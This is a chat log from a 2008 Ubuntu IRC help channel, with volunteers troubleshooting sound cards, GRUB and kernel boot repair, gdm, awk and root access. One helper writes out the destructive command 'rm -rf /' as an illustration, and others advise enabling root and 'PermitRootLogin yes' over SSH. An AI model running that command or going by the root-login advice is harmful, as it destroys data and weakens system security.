[17:16] <abby87> fremc: every1 starts new ..can u please describee ur prob in a more specific manner?
[17:16] <blazerrr> shadowhywind, so su as root, and do some chroot, chown
[17:16] <speener> i've followed many how-to's but none seem to work fine...
[17:16] <fremc> ok  no sound
[17:16] <ioops> soundray: I don t understand, I have grub when I start the computer
[17:16] <speener> there's always a problem
[17:16] <fremc> i want to hear sound
[17:16] <ioops> soundray: with kernel list
[17:16] <shadowhywind> blazerrr: yup, thats what i have done, hehe
[17:16] <abby87> fremc: thats a common prob
[17:16] <blazerrr> shadowhywind cool
[17:16] <abby87> fremc: did u hear sound when u installed ubuntu 1st
[17:16] <abby87> ?
[17:16] <eddievader> fremc, fixedproblem.blogspot.com/2008/07/x-fi-ubuntu-804-driver-install.html
[17:16] <shadowhywind> blazerrr: thanks for looking into it anyways
[17:16] <soundray> ioops: do you get any output from 'grep boot /etc/fstab'?
[17:17] <fremc> abb87 :i didnot hear
[17:17] <blazerrr> shadowhywind =)
[17:17] <fremc> eddie: i think i downloaded this driver
[17:17] <abby87> fremc: so ur soundcard is not detectedd
[17:17] <ioops> soundray: yes
[17:17] <fremc> but
[17:17] <shadowhywind> blazerrr:  i love the new install sort of issues, hehe
[17:17] <eddievader> try to type more than one word on a line.
[17:17] <abby87> fremc: do u know which sound card u use?
[17:18] <soundray> ioops: what does it say?
[17:18] <ioops> soundray: I have : UUOD=xxxx /boot ext3 relatime 0 2
[17:18] <abby87> fremc: laptop/desktop?
[17:18] <blazerrr> shadowhywind, yeah me too, each issue is a new challenge
[17:18] <eddievader> request assistance: I have a problem with gdm, when I change the gdm login screen in login window and restart it keeps going back to the default screen.
[17:18] <speener> anyone?
[17:18] <fremc> xfi fatality champiıons
[17:18] <fremc> desktop abby
[17:18] <soundray> ioops: do you know why your installation has a separate /boot partition?
[17:18] <abby87> fremc: is ur soundcard a pci one?
[17:18] <ioops> soundray: yes because I made this
[17:19] <shadowhywind> blazerrr: oh thinking about that.. have to head over to the intrepid channell having a bit of an issue with a new kernel
[17:19] <fremc> no it is not pic abby
[17:19] <soundray> ioops: did you change this during or after the installation?
[17:19] <speener> CAN ANYONE HELP WITH MYSQL??
[17:19] <ioops> soundray: no
[17:19] <eddievader> no caps please
[17:19] <eddievader> speener, if anyone can help they will
[17:20] <ioops> soundray: I made a /boot partition before the install
[17:20] <abby87> fremc: so which interface?? is it an external soundcard?
[17:20] <blazerrr> shadowhywind, hold on
[17:20] <ioops> soundray: and I formated it during the install and I made the /boot mount stuff during the paritioning step
[17:20] <ioops> soundray: I made a mistake ?
[17:21] <JuJuBee>  I am looking for a new laptop and will run Kubuntu primarily occasionally WinBlows for gaming (rarely though).  Anybody willing to have a look at 3 from new egg and give reccomendations?
[17:21] <fremc> oh sorry  abby yes it is pci (i got it wrong)
[17:21] <abby87> eddievader: mebbe ur x server keeps crashing
[17:21] <eddievader> abby87, well so far it's not
[17:21] <abby87> fremc: type this command in terminal          lspci | grep Audio
[17:21] <soundray> ioops: I think you may have made a mistake at some stage... but let's ignore it for a second and see if we can fix it anyway. Do you know the device name of your boot partition?
[17:21] <abby87> eddievader: so u get to the gdm screen and try to login wat happens?
[17:21] <eddievader> abby87, everything works fine, except I cannot change gdm login window
[17:22] <abby87> eddievader: what is the error u get?
[17:22] <C0il> Salut
[17:22] <eddievader> abby87, I dont get an error, I go to login window, select a new gdm screen, restart x, and goes back to default
[17:22] <abby87> C0il: Salut , bonsoir
[17:22] <soundray> abby87: fremc has a Creative XFi, which is supported only by an experimental closed-source 64bit driver from Creative. That's why I told fremc that what he was getting into was not a beginner's project
[17:22] <eddievader> abby87, I have two other ubuntu pc's that dont have this issue
[17:22] <ioops> soundray: yes
[17:23] <ioops> soundray: it s /dev/sda3
[17:23] <soundray> ioops: what is it?
[17:23] <eddievader> abby87, I even reinstalled gdm, same thing
[17:23] <abby87> eddievader: hmmm so its not a bug
[17:23] <fremc> gosh,it is so complicated
[17:23] <soundray> ioops: in the new terminal, run 'sudo mount /dev/sda3 /media/disk/boot', then re-run the dpkg -i command in the chroot
[17:24] <abby87> soundray: hmm ya its very hectic to install expmtl drivers
[17:24] <dfgas> where do i find the bookmarks so i can copy them over to my new install of ubuntu? in firefox that is
[17:24] <eddievader> fremc, its not complicated, just be patient :)
[17:24] <speener> eddievader: i changed the gdm theme once and it did the same thing, kept the config for a day or two and then restarted the computer for some other reason and when i did the gdm theme worked
[17:24] <erUSUL> soundray: the driver supports 32 bit too but you are right not for newbies
[17:24] <eddievader> fremc, dont forget creative didnt exactly make 100% driver support, so its partly them to blame :)
[17:24] <abby87> fremc: just dont panic and keep posting in ubuntu forums
[17:24] <eddievader> speener, hmm
[17:24] <Marfi> exit
[17:25] <soundray> erUSUL: ah, thanks for the update
[17:25] <dk> hi ,
[17:25] <ioops> soundray: it s works
[17:25] <blazerrr> erUSUL, hi is there any way to check what will be the total size that i will need in order to copy all from the script you gave me find /lost+found/ -type d | xargs du -s | awk '$1 > 0'
[17:25] <dk> i need help
[17:25] <eddievader> very weird error really.
[17:25] <unfo> !help | dk
[17:25] <dk> any can help me?
[17:25] <unfo> !helpme
[17:25] <dk> unfo,  hi
[17:25] <unfo> hi dk
[17:25] <abby87> dk: hello dk please be specific
[17:25] <soundray> ioops: now in the chroot, see if /boot/grub/menu.lst contains an entry for booting the new (old) -18 kernel
[17:25] <fremc> anyway,i have decided to use my onboard card,how can i do this
[17:25] <dk> unfo,  can help me?
[17:26] <abby87> dk: unless u tell us in detail wat prob u have we wont be able to help you
[17:26] <unfo> dk: sorry, i sent the wrong snippet.  Here is IRC etiquette:  Ask everyone your question.
[17:26] <dk> ok, my english isnt very welll
[17:26] <blazerrr> dk, whats the problem
[17:26] <ioops> soundray: yes
[17:26] <unfo> dk: what language do you prefer?
[17:26] <ioops> soundray: I have a new entry
[17:26] <dk> spanish
[17:26] <unfo> !es | dk
[17:26] <abby87> !sp
[17:26] <erUSUL> !es | dk
[17:26] <dk> :p xD sorry for this.
[17:26] <eddievader> problem is I checked the forums
[17:26] <eddievader> I checked the gdm.conf
[17:26] <Mr-S> quick question> has the root login issue been solved in the latest ubuntu release ?
[17:27] <soundray> ioops: okay, it's time to cross fingers, reboot and select the -18 entry from the grub menu
[17:27] <eddievader> nothing seems wrong
[17:27] <abby87> eddievader: wat was the error?
[17:27] <ioops> soundray: ok
[17:27] <soundray> Mr-S: what root login issue?
[17:27] <dk> no no , but  now , nothing can help me in this chanel
[17:27] <eddievader> abby87, as I said, there was no error. gdm just doesn't want to switch gdm screens
[17:27] <fremc> anyone wants to connect my computer and try to solve my problems :)
[17:27] <blazerrr> erUSUL, hi is there any way to check what will be the total size that i will need in order to copy all from the script you gave me find /lost+found/ -type d | xargs du -s | awk '$1 > 0'
[17:27] <dk> i will creating pack .deb but i have problems
[17:28] <Mr-S> friend of mine using latest ubuntu release> says cant use root or activate root
[17:28] <Mr-S> sorry I am a slacky, do not know much about ubuntu
[17:28] <abby87> eddievader: is ur xorg fine///??\
[17:28] <eddievader> abby87, yes sir
[17:28] <abby87> sorry for the typos
[17:28] <erUSUL> blazerrr: no easy maybe the awk script can be changed to sum the total size...
[17:28] <bazhang> Mr-S, use sudo
[17:28] <Sylphid|work> Mr-S, use sudo
[17:28] <Mr-S> sudo i snot accaptable
[17:28] <wizardslovak>  hello people i am newby with kubuntu ( i have it on virtualbox-kubuntu server) and i would like to know how can i see info about my system?
[17:28] <abby87> fremc: seek assistance at forums
[17:28] <emorris> Mr-S: this is for security reasons. You can activate it by setting a password, but it is strongly recommended not to
[17:28] <eddievader> but I will do a reconfigure xserver-xorg MAYBE that will fix it
[17:29] <Mr-S> need root access to modify his ubuntu install
[17:29] <abby87> eddievader: nvidia?
[17:29] <ioops> soundray: it s not working because he doesnt find the file
[17:29] <eddievader> abby87, intel
[17:29] <blazerrr> erUSUL and to copy all that bunch of folders this would be enough? copy -R find /lost+found/ -type d | xargs du -s | awk '$1 > 0' /newfolder
[17:29] <soundray> Mr-S: you can activate root, but it runs counter to how ubuntu is designed. If sudo is unacceptable, then ubuntu is unacceptable (*shrug*)
[17:29] <soundray> ioops: what file?
[17:29] <eddievader> abby87, as I said I never had this error before, Ive installed ubuntu on a few machines.
[17:29] <emorris> Mr-S: what exactly are you trying to change?
[17:29] <ioops> I don t know maybe the kernel
[17:29] <Mr-S> just need to teak and setup some config files, doing sudo all the time makes me crazy ... sorry
[17:29] <soundray> ioops: are you referring to an error message?
[17:30] <ioops> soundray: I selected the old kernel and I have error message like "error 15 : file not found"
[17:30] <soundray> Mr-S: if you really, really need it, use 'sudo -i' to get a root shell
[17:30] <dk> any person, can help me?? i need create pack deb in ubuntu
[17:30] <khakane> i rebooted my Hardy machine yesterday, and now my k3b wont recogniz i have any media in the drive, but yet i can still mount the drive..
[17:30] <Mr-S> funny thing is , cannot activate root login / or root account
[17:30] <ioops> soundray: I have this error message in grub
[17:30] <erUSUL> blazerrr: find /lost+found/ -type d | xargs du -s | awk '$1 > 0 {sum +=$1} END {print sum}'
[17:30] <emorris> Mr-S: put sudo su in a terminal to log in as root
[17:30] <unfo> Mr-S, type: sudo su
[17:30] <abby87> eddievader: hmmm even i cant sem to figure out anything
[17:30] <soundray> !rootshell | emorris, unfo
[17:30] <abby87> !fakeroot
[17:30] <eddievader> abby87, ill keep working on it :)
[17:30] <Mr-S> dohhhhhhhhhhhh, haven thought of this one ( stupid me ) thanks will try and report back if it did not work
[17:31] <EvolutionXtinct> !performance
[17:31] <emorris> soundray: what is the difference between sudo -i and sudo su?
[17:31] <erUSUL> blazerrr: copy -R $(find /lost+found/ -type d | xargs du -s | awk '$1 > 0') /newfolder maybe works but i make no waranties
[17:31] <unfo> Mr-S: oops, i forgot.  sudo -i is better
[17:31] <unfo> Mr-S: it sets PATH for one thing
[17:31] <unfo> and it does more
[17:31] <ioops> soundray: maybe he doesn t found the file on the paritition
[17:31] <erUSUL> blazerrr: maybe you should try in #bash there you will find cli wizards better than i
[17:31] <blazerrr> erUSUL all right thank you so much!
[17:31] <soundray> emorris: sudo -i gives you a sane environment. sudo su may or may not do it correctly
[17:31] <Mr-S> np ;)you opend the road.. as slacky I can handle it further now
[17:32] <soundray> ioops: I'll look up that error
[17:32] <blazerrr> erUSUL okok!! thank you for all
[17:32] <dk> ineed create pack deb
[17:32] <emorris> soundray: ok, i will bear that in mind, thanks
[17:32] <abby87> eddievader: pearljam fans can handle anythin :) just kiddin
[17:32] <ioops> soundray: I don t understood sorry
[17:32] <abby87> dk: u need a debian package?
[17:32] <eddievader> abby87, hehe
[17:33] <abby87> dk: u need to create a debian package ??
[17:33] <eddievader> abby87, pearljam rock :)
[17:33] <khakane> i rebooted my Hardy machine yesterday, and now my k3b wont recogniz i have any blank media in the drive, but yet i can still mount the drive..
[17:33] <Mr-S> the path is not the real issue, can create a work around by loops, just wired that root is completly unaccasable...
[17:33] <abby87> eddievader: yes they do !!
[17:33] <eddievader> bbiab, let me try to fix this
[17:33] <soundray> ioops: could you pastebin your /boot/grub/menu.lst? Sorry, you'll have to boot the live CD again...
[17:34] <ioops> soundray: no pb i already launch the live cd
[17:34] <vbabiy> Hey is alpha 5 of 8.10 out yet
[17:34] <nomoa> my /proc (other users PIDs folders invisible) is filtered for normal users on Ubuntu 8.04 do you know how this is configured?
[17:34] <abby87> vbabiy: yes
[17:34] <erUSUL> !schedule > vbabiy
[17:34] <vbabiy> abby87: you got a link
[17:34] <Pici> vbabiy: Please join #ubuntu+1 for Intrepid/8.10 support/discussion.
[17:34] <khakane> yay i get no help :)
[17:35] <Pici> !patience | khakane
[17:35] <ioops> soundray: no the live cd made a blank screen ...
[17:35] <ioops> i have to start again
[17:35] <khakane> Pici: i gues you didnt notice the ':)'
[17:35] <khakane> but that's o
[17:35] <khakane> k
[17:35] <dk> abby87,
[17:35] <dk> si
[17:35] <dk> u need create
[17:35] <dk> abby87,  u can help me?
[17:36] <abby87> vbabiy: sorry i guess i was wrong
[17:36] <abby87> dk: will try my best
[17:36] <vbabiy> abby87: its not out yet
[17:36] <dk> ok
[17:36] <dk> thanks so much
[17:36] <abby87> vbabiy: sorry for the wrong info got a lil  confused
[17:36] <ioops> soundray: i feel something bad will be happen ... :(
[17:37] <luis08> hey everyone, I'm trying to change my screen resolution by inserting the line Modes "1024x768" into xorg.conf, but it's not working... any ideas?
[17:37] <soundray> ioops: in that case, it may be time to take a break and a walk in the outdoors...
[17:38] <ioops> soundray: it s working ;)
[17:38] <cyix> luis08:> I used displayconfig-gtk, chose a monitor that supported 1024x768 and it worked fine.
[17:39] <blackvd> how do I drop to telinit 3 from gdm so I can install nvidia drivers?
[17:39] <Flannel> blackvd: ctrl-alt-f1 and then sudo /etc/init.d/gdm stop
[17:39] <erUSUL> blackvd: sudo /etc/init.d/gdm stop
[17:39] <soundray> blackvd: wrong approach
[17:40] <erUSUL> blackvd: but you should be using the drivers provided by ubuntu
[17:40] <soundray> blackvd: you should really use System-Administration-Hardware Drivers to get NVidia drivers
[17:40] <vipaca_> yay Im not on
[17:40] <blackvd> I'm using the beta drivers
[17:40] <blackvd> ubuntu ones do not work
[17:41] <banisterfiend> hey guys how do i get awk to print out all of the line except the first field?
[17:41] <blackvd> Thanks that did the trick!
[17:43] <Mr-S> ok got the stuff working now ! One more question: does anybody know where the codecs of mplayer are stored ?
[17:43] <Mr-S> simply cannot find them
[17:43] <Ergo^> hello
[17:44] <Ergo^> is there a delay with next intrepid alpha ?
[17:44] <ubuntu_> soundray: http://pastebin.com/m13a7295b
[17:45] <emorris> Ergo^: when was it supposed to be due?
[17:45] <soundray> ioops: that looks okay to me. Can you do a 'sudo blkid' as well and pastebin the output
[17:45] <Mr-S> One more question: does anybody know where the codecs of mplayer are stored ? ( distro install )
[17:46] <Ergo^> emorris: yesterday
[17:46] <Gizmo_The_Great> Anyone here used wxPyton on Ubuntu? If so, do you know how to launch it?
[17:46] <Sobaka> Hello. I have two machines with ubuntu installed on it. On one machine ubuntu will give an installer screen when a plugin in for example firefox is missing or when I try to play a music file with a codec that isn't installed. On the other machine I don't get this screen in this case. How can I make ubuntu give bring up this install screen in such case?
[17:47] <ioops2> soundray: naybe i have to change hd0, 2 by 3?
[17:47] <soundray> ioops2: I don't think so
[17:47] <soundray> ioops2: Can you do a 'sudo blkid' as well and pastebin the output
[17:47] <ioops2> soundray: i doun t understood
[17:48] <blazerrr> Sobaka, have you try looking for packages from apt or synaptic ? on the machine which doesnt show the installer screen
[17:48] <ioops2> sudo blkid?
[17:48] <Mr-S> will it be a problem for ubuntu if I compile mplayer from source ?
[17:49] <erUSUL> banisterfiend: awk '{ $1="" ; print $0}' < file
[17:49] <Sobaka> Yes, the packages are there, but this machine is for a user that isn't very good with computers, he will really need those simple screens
[17:49] <soundray> ioops2: please open a terminal, run 'sudo blkid' and put the output on a pastebin
[17:49] <ioops2> soundray: http://pastebin.com/m3b7b3692
[17:50] <banisterfiend> erUSUL: thanks, but what does the $0 mean?
[17:50] <leszek-rc1> hi
[17:51] <recon69> afternoon all, any ubuntu gurus that can help me figure out why my system keep crashing?
[17:51] <erUSUL> banisterfiend: the complete record line
[17:51] <blazerrr> Sobaka, try to find the .conf file for those applications on /etc or /home/user/.application and copy it on the other system
[17:52] <Dranik> how to add extra fonts?
[17:52] <erUSUL> banisterfiend: first we make the first field of the record an empty string then we print the modified record with the first field being a empty string it does not appear on output
[17:52] <banisterfiend> erUSUL: ok thanks, pretty much what im trying to do is i downloaded a source code listing with line numbers i am trying to strip the line numbers about before i use it
[17:52] <erUSUL> !fonts | Dranik
[17:52] <dGodFatheR> how do i edit the default settings for the xterm ?
[17:52] <Dranik> erUSUL: thx
[17:52] <dGodFatheR> i want it to open with bigger font etc.
[17:53] <ioops2> soundray: something wrong in the blkid output ?
[17:53] <erUSUL> banisterfiend: cut would have been a better aproach now that i think about it ...
[17:53] <soundray> ioops2: please do a 'sudo mount /dev/sda3 /mnt' and tell me what the output of 'ls -d /mnt/boot' is
[17:53] <dsde> dGodFatheR, edit -> current profile
[17:53] <banisterfiend> erUSUL: oh ok, how would i use it with cut? (sorry im new to linux and i figured awk would be the right tool)
[17:53] <Mr-S> I am sorry ! I dont get ubunutu .... :(
[17:54] <dsde> dGodFatheR, you can change font / font size their (among other things)
[17:54] <Mr-S> can somone drop a line why you love it so much ?
[17:54] <erUSUL> banisterfiend: no cut wouldn't have "cut it" (pun intended) XD
[17:54] <dsde> *there
[17:54] <banisterfiend> hehe
[17:54] <dGodFatheR> dsde: where can i find that?
[17:54] <dGodFatheR> i can't find the edit menu
[17:54] <JonathanEllis> Has anyone managed to get a Snapscan Touch scanner to work on Hardy Heron?
[17:54] <eddievader> abby87, apparently I fixed it by totally removing --purging gdm
[17:54] <dsde> dGodFatheR, you are talking about the standard terminal (bash) I assumed
[17:54] <dsde> dGodFatheR, correct me if I'm wrong
[17:55] <eddievader> then removed ANY gdm entries in file system manually
[17:55] <eddievader> then reinstalled...
[17:55] <squarebracket> is there an easy way i can monitor a mailbox and execute commands on a new email?
[17:55] <abby87> eddievader: went the hard way
[17:55] <dGodFatheR> dsde, i am talking about the bash terminal named xterm
[17:55] <Mr-S> ... I am sorry . just a bit frustrated at the moment, while setting up a ubuntu for a friend ....
[17:55] <eddievader> abby87, yep
[17:55] <dGodFatheR> not the usual gnome-terminal
[17:55] <abby87> eddievader: but good that it works
[17:55] <eddievader> abby87, yea, but still I'd love to know what happened, so other users can get help
[17:55] <eddievader> instead of doing the whole removing gdm thing
[17:56] <ioops2> soundray: http://pastebin.com/m1c8753f7
[17:56] <eddievader> ill check my logs and post it in launchpad if I find anything
[17:56] <recon69> ﻿squarebracket: sure is, but it's complicated. hows you programming skills
[17:56] <abby87> eddievader: hmmm check the logs mebbe  something comes out
[17:56] <eddievader> yep
[17:56] <dsde> sec, pizza man at the door =)
[17:56] <squarebracket> recon69: what language?
[17:56] <soundray> ioops2: is that really what you got from 'ls -d /mnt/boot'?
[17:56] <dGodFatheR> dsde: well? any suggestions?
[17:57] <mizipzor> sometimes when running programs in wine, my sound in gnome stops working
[17:57] <ioops2> soundray: no, if I made this commande I have ls: cannot access /mnt/boot: No such file or directory
[17:57] <recon69> ﻿squarebracket: language should not really matter, just be able to create a memory resident program that can use smtp
[17:57] <erUSUL> banisterfiend: in fact it would (/me should learn how to read man pages) « cut -f2- -d' ' < input_file > output_file »
[17:57] <ioops2> soundray: I made just a simple ls in /mnt
[17:58] <squarebracket> recon69: memory resident = daemon?
[17:58] <ioops2> soundray: and /dev/hda3 was already mount in chroot
[17:58] <soundray> ioops2: please make sure you answer my questions exactly. This error message contains the clue to your problem, I think.
[17:58] <ioops2> soundray: ok
[17:58] <dGodFatheR> I can't find my ~/.Xdefaults. why is that?
[17:58] <recon69> ﻿squarebracket: yep , it has to be a demon so that it can check the mailbox for new mail every so often
[17:58] <ioops2> if I made your command I have this error message
[17:59] <banisterfiend> thanks erUSUL, but i think the problem is that the line numbers dont appear on every line, but the lines they appear on they are the first field
[17:59] <squarebracket> recon69: couldn't i just use cron?
[17:59] <erUSUL> dGodFatheR: you haven't created one and none has done it for you
[17:59] <mizipzor> ...and it seems my volume controller is missing from the tray
[17:59] <soundray> ioops2: do a 'cd /mnt ; sudo ln -sf . boot' (watch all the spaces carefully)
[17:59] <recon69> ﻿squarebracket: sure, that would be an approach.
[17:59] <squarebracket> recon69: i'm foolish. i can probably do this by myself. i'm sure python has an smtp module.
[17:59] <dGodFatheR> you are supposed to create it your self?
[17:59] <dGodFatheR> erUSUL: ?
[18:00] <f00li5h> meow
[18:00] <ioops2> soundray: no result
[18:00] <soundray> ioops2: good, now do a 'ls -ld /mnt/boot' (the output should be short)
[18:00] <erUSUL> dGodFatheR: the file does not exist becouse it is not there by default you have to create it yourself if you need it
[18:01] <ioops2> soundray: lrwxrwxrwx 1 root root 1 2008-09-05 16:59 /mnt/boot -> .
[18:01] <soundray> ioops2: excellent. Do you understand what this did?
[18:01] <dGodFatheR> erUSUL: in that case how do i know what should be written in it, and how
[18:01] <ioops2> yes
[18:01] <ioops2> i guess
[18:02] <ioops2> the ligne means the /boot si going to a hidden file
[18:02] <ioops2> that s right ?
[18:02] <aVirulence> hi there, can someone tell me what's different in ubuntu's recovery mode? a friend of my cannot start X correctly in normal mode,. but recovery mode seems to work fine..
[18:02] <erUSUL> dGodFatheR: if you do not know what should be written in it you do not need it
[18:02] <recon69> ﻿squarebracket: glad to be of help :) , good luck with the project
[18:03] <Niteye> hello there
[18:03] <soundray> ioops2: no, it means that boot inside /dev/sda3 points to itself. Now it should be able to find /boot/vmlinuz... etc.
[18:03] <squarebracket> recon69: thanks! :)
[18:03] <Niteye> how can i install little things like in vista so I have the temperature and weather on my desktop?
[18:03] <erUSUL> aVirulence: afaik safe graphics mode uses a basic vesa based xserver that works on all graphic cards
[18:03] <Niteye> i use Kubuntu
[18:03] <ioops2> soundray: what i have to change?
[18:03] <soundray> ioops2: I think it may work now (no promises of course...)
[18:03] <soundray> ioops2: nothing, it's all done, I think
[18:03] <erUSUL> !info screenlets | Niteye
[18:04] <ioops2> ok I try to reboot ?
[18:04] <erUSUL> !info gdesklets | Niteye
[18:04] <soundray> ioops2: yes
[18:04] <ioops2> ok see you
[18:04] <dGodFatheR> erUSUL: i do need it because i need to edit the default settings for my xterm
[18:04] <erUSUL> Niteye: two options to do what you want
[18:04] <dGodFatheR> i just don't know how to write it
[18:04] <aVirulence> erUSUL, ah, ok... so there is a problem with the display driver
[18:04] <erUSUL> aVirulence: probably
[18:05] <erUSUL> !sensors | Niteye also check this out
[18:05] <recon69> ﻿aVirulence: most likely, I would change back to the default driver first and see if you can boot normaly, then try setup the video driver for your card
[18:06] <the> hi
[18:06] <Mr-S> OK i  give up now.. does somebody knwo how to activate the root accout ? using sudo all the time is not working very well
[18:06] <the> anyone here plz help me
[18:06] <ioops> soundray: its booting ...
[18:06] <erUSUL> dGodFatheR: see an example http://www.math.dartmouth.edu/~ahb/laptop_setup/Xresources
[18:06] <the> how can i setup network installation
[18:06] <soundray> ioops: sounds like there's progress
[18:06] <aVirulence> recon, no, that doesn't work, I've reset the xorg.conf file a couple of times, but the display gets scrambled when starting (so I disabled the splash screen) and when xorg is started, I get a black screen
[18:06] <ioops> soundray: same shit :(((((
[18:07] <ioops> soundray: I have the prompt initramfs
[18:07] <erUSUL> the: what do you want to set up ?
[18:07] <soundray> ioops: don't let your frustration spoil your good manners ;)
[18:07] <the> erUSUL: network installation
[18:07] <ioops> soundray: so sorry
[18:07] <blackvd> here's one, what's the number after chmod for changing ownership of a file from root to user? tried 777 but that was wrong
[18:07] <the> how to setup the host,dhcp and pxe
[18:07] <erUSUL> !install | the
[18:07] <leeping2007> Hi there, when I restarted my system, fsck died and I had to run it manually.  Now, I restarted the system, but the main hard drive /dev/sda1 is write protected.  How do I unprotect it?
[18:08] <Mr-S> OK i  give up now.. does somebody knwo how to activate the root accout ? using sudo all the time is not working very well
[18:08] <leeping2007> Mr-S: sudo bash
[18:08] <dGodFatheR> erUSUL: thanks
[18:08] <erUSUL> the: https://help.ubuntu.com/community/Installation/LocalNet
[18:08] <JonathanEllis> Hi. I am having problems setting up a scanner. Can anyone help please?
[18:08] <ioops> soundray: what do you think my problem is so grave ?
[18:08] <the> ubottu: If I already have dhcp server running
[18:09] <Mr-S> thanks leep: can i activate the root account to a stand alone account for ssh as well ( sorry I am a slackware user )  ?
[18:09] <the> then if I setup 1 more dhcp dedicated for this network installation
[18:09] <the> will it crash?
[18:09] <soundray> ioops: did you boot the first or the third entry now?
[18:09] <vinu76js1> type sudo passwd to activate your root account
[18:09] <erUSUL> !rootshell | Mr-S
[18:09] <erUSUL> vinu76js1: do not do that please
[18:09] <recon69> ﻿the: dont think you can have 2 dhcp server on the same network
[18:10] <erUSUL> !rootpass
[18:10] <ioops> soundray: i am trying with the first entry now
[18:10] <erUSUL> !rootpassword
[18:10] <Mr-S> oh that seem to work ... thanks man
[18:10] <blackvd> nvm found it, its chown username:group filename
[18:10] <ioops> but is not working anymore
[18:10] <darjeeling> Mr-S check /etc/ssh/sshd_config maybe
[18:10] <Ab3L> hello
[18:10] <Mr-S> sorry for asking this question, but why has ubuntu a sudo policy and not a root policy ?
[18:10] <erUSUL> !noroot | vinu76js1
[18:11] <soundray> ioops: okay, we knew that that was not going to work. That's why we went through all the trouble and installed -18. That's now the third grub menu option, so reboot and select that one please.
[18:11] <leeping2007> No one here knows how to remove write protection from a hard drive?
[18:11] <erUSUL> !sudo > Mr-S
[18:11] <darjeeling> Mr-S because with root you can type rm -rf /
[18:11] <darjeeling> Mr-S PermitRootLogin yes
[18:11] <vinu76js1> sorry all ! started using IRC, so dont know about it, sorry again
[18:11] <darjeeling> Mr-S PermitRootLogin yes in sshd_config
[18:11] <Sobaka> My firefox on ubuntu 8.04 i386 version says the whole time that flash isn't installed. I didn't get the missing plugin screen (which is already suspicious), but by manually installing flash firefox still gives the message that flash isn't installed
[18:11] <erUSUL> vinu76js1: no problem; just letting you know
[18:12] <Mr-S> the thing is that root is basically disabled thoughout the system ... I only need root access to midy the system for a friend because he is coming from windows, and i thoughyt ubuntu will be the right choice for him.
[18:12] <ioops> soundray: but the third entry is the -18 version
[18:12] <ioops> soundray: now i am in the initramfs prompt
[18:12] <Mr-S> looks like i have a lot to learn about ubuntu .... )
[18:12] <blackvd> Mr-S: For easy root file management I use mc and run it with sudo mc in bash
[18:13] <soundray> 18:10 <ioops> soundray: i am trying with the first entry now
[18:13] <vinu76js1> got my fifa match bye
[18:13] <soundray> ioops: what did you mean when you said this ^^?
[18:13] <coagen> is there an ubuntu-legal channel?
[18:14] <Mr-S> this one will work, but for security reaosn I like a root account by ssh and on his desktop to solve his problems. But i am not so used to ubuntu. tried some version but .. ( no offence ) its not for me
[18:14] <ioops> soundray: i write in private
[18:14] <zoed> Hi! Does anybody know where nautilus saves the icon for a specific file? I mean, if I right clicked the file and chose another icon for just that file.
[18:14] <Mr-S> but thanks anyway .. i will manage this way using MC .
[18:15] <coagen> zoed: not sure about that specific... but most icons are stored in /usr/share/icons or /usr/share/pixmaps
[18:15] <jskjerin> Hva skjer a
[18:15] <zoed> yes, but how does nautilus know which file I gave which icon (if I changed the default icon)
[18:16] <tux> anyone use ubuntu and cisco router?
[18:17] <coagen> zoed: i would assume that would be somewhere in your home folder in the .config folder or the .gnome2 folder or even in the .nautilus folder
[18:17] <jskjerin> noen som skjønner hva jeg gjør her
[18:18] <Pici> !no | jskjerin
[18:18] <Sobaka> My firefox on ubuntu 8.04 doesn't show up the missing plugin dialog when a plugin misses. What can I do about this?
[18:19] <StepNjump> Eh guys, can anyone help me?
[18:19] <darjeeling> -.-;;
[18:19] <Pici> StepNjump: Ask a question and maybe we can.
[18:20] <darjeeling> Mr-S solved?
[18:20] <darjeeling> Mr-S I'll do the same thing like you
[18:20] <ech0dish> my laptop fails to boot off battery power
[18:20] <darjeeling> Mr-S for managing client in office
[18:20] <darjeeling> Mr-S about 20-30 ubuntu machines in nat network
[18:21] <StepNjump> can anyone kindly tell me how I could see my networked hard drives on another machine running XP please?
[18:21] <darjeeling> Mr-S be careful about root password. In these days ssh brute-force attack is normal
[18:21] <zoed> coagen: I can't find it.
[18:21] <darjeeling> StepNjump just see or mount it?
[18:21] <StepNjump> oh thank you darjeeling
[18:22] <coagen> Sobaka: dont know about the missing plugin showing thing... but if you want to install flash just do "sudo aptitude install flashplugin-nonfree" without quotes from a terminal
[18:22] <ech0dish> anyone got any idea's as to why my dell d600 will not boot off battery power, ndiswrapper is conflicting with something
[18:22] <ech0dish> but only on battery power
[18:22] <StepNjump> I will try that. I don't know how to mount but I'm sure I'll find something on that on the help files
[18:22] <ech0dish> works fine on dc
[18:22] <Sobaka> coagen: that I did, but ff will still give the error
[18:23] <shahrukh> hey guys
[18:23] <darjeeling> StepNjump hmm I don't know what exactly ubuntu way
[18:23] <coagen> zoed: heh... dont know what to tell you... google is your friend :)
[18:23] <shahrukh> can any one help me with a ubuntu query?
[18:23] <darjeeling> StepNjump but normally you can mount
[18:23] <StepNjump> I guess the best way would be to use bash right?
[18:23] <Pici> shahrukh: Ask away
[18:23] <coagen> Sobaka: backup your bookmarks and delete your .firefox and .mozilla folder...
[18:23] <darjeeling> StepNjump mount -t cifs -o username=username,password=password //windowsmachineip/servicenmae /mountpoint
[18:23] <coagen> Sobaka: you'll loose your saved passwords and stuff but that might fix it
[18:23] <Mr-S> thanks for the tip .. beeing a slackware user for many years i knwo the riscs..
[18:23] <StepNjump> oh awesome
[18:24] <StepNjump> but what is mountpoint?
[18:24] <darjeeling> StepNjump In ubuntu way I think yuou can search with desktop
[18:24] <shahrukh> im basically trying to copy a .dll file to a windows directory system32.. the file is on my desktop.. how do i use sudo cp to do this
[18:24] <banisterfiend> if  tar -czvf $SRC_NAME $SOURCES
[18:24] <banisterfiend> then
[18:24] <banisterfiend>   echo "error making package!"
[18:24] <banisterfiend>   exit 1
[18:24] <banisterfiend> fi
[18:24] <FloodBot1> banisterfiend: Please don't flood, use http://paste.ubuntu.com to paste, don't use Enter as punctuation.
[18:24] <Mr-S> i ususally disable root acces for ssh and ftp ... but setting up a secure tunnel to his machine with will be fine
[18:24] <z_> 有没有人写中文的啊，
[18:24] <LjL> shahrukh: sudo cp ~/Desktop/file.dll /directory/where/windows/is/mounted/windows/system32
[18:24] <LjL> with the appropriate case
[18:24] <StepNjump> I think it used to be darjeeling but now unfortunately, there's nothing in the windows network window
[18:24] <LjL> !zh | z_
[18:24] <darjeeling> StepNjump mount point is where you want to see the mounted files system
[18:25] <darjeeling> hmm
[18:25] <StepNjump> ok
[18:25] <shahrukh> windows is on my c drive
[18:25] <darjeeling> in thae case I recommand smbclient
[18:25] <StepNjump> could you give me an example of mountpoint?
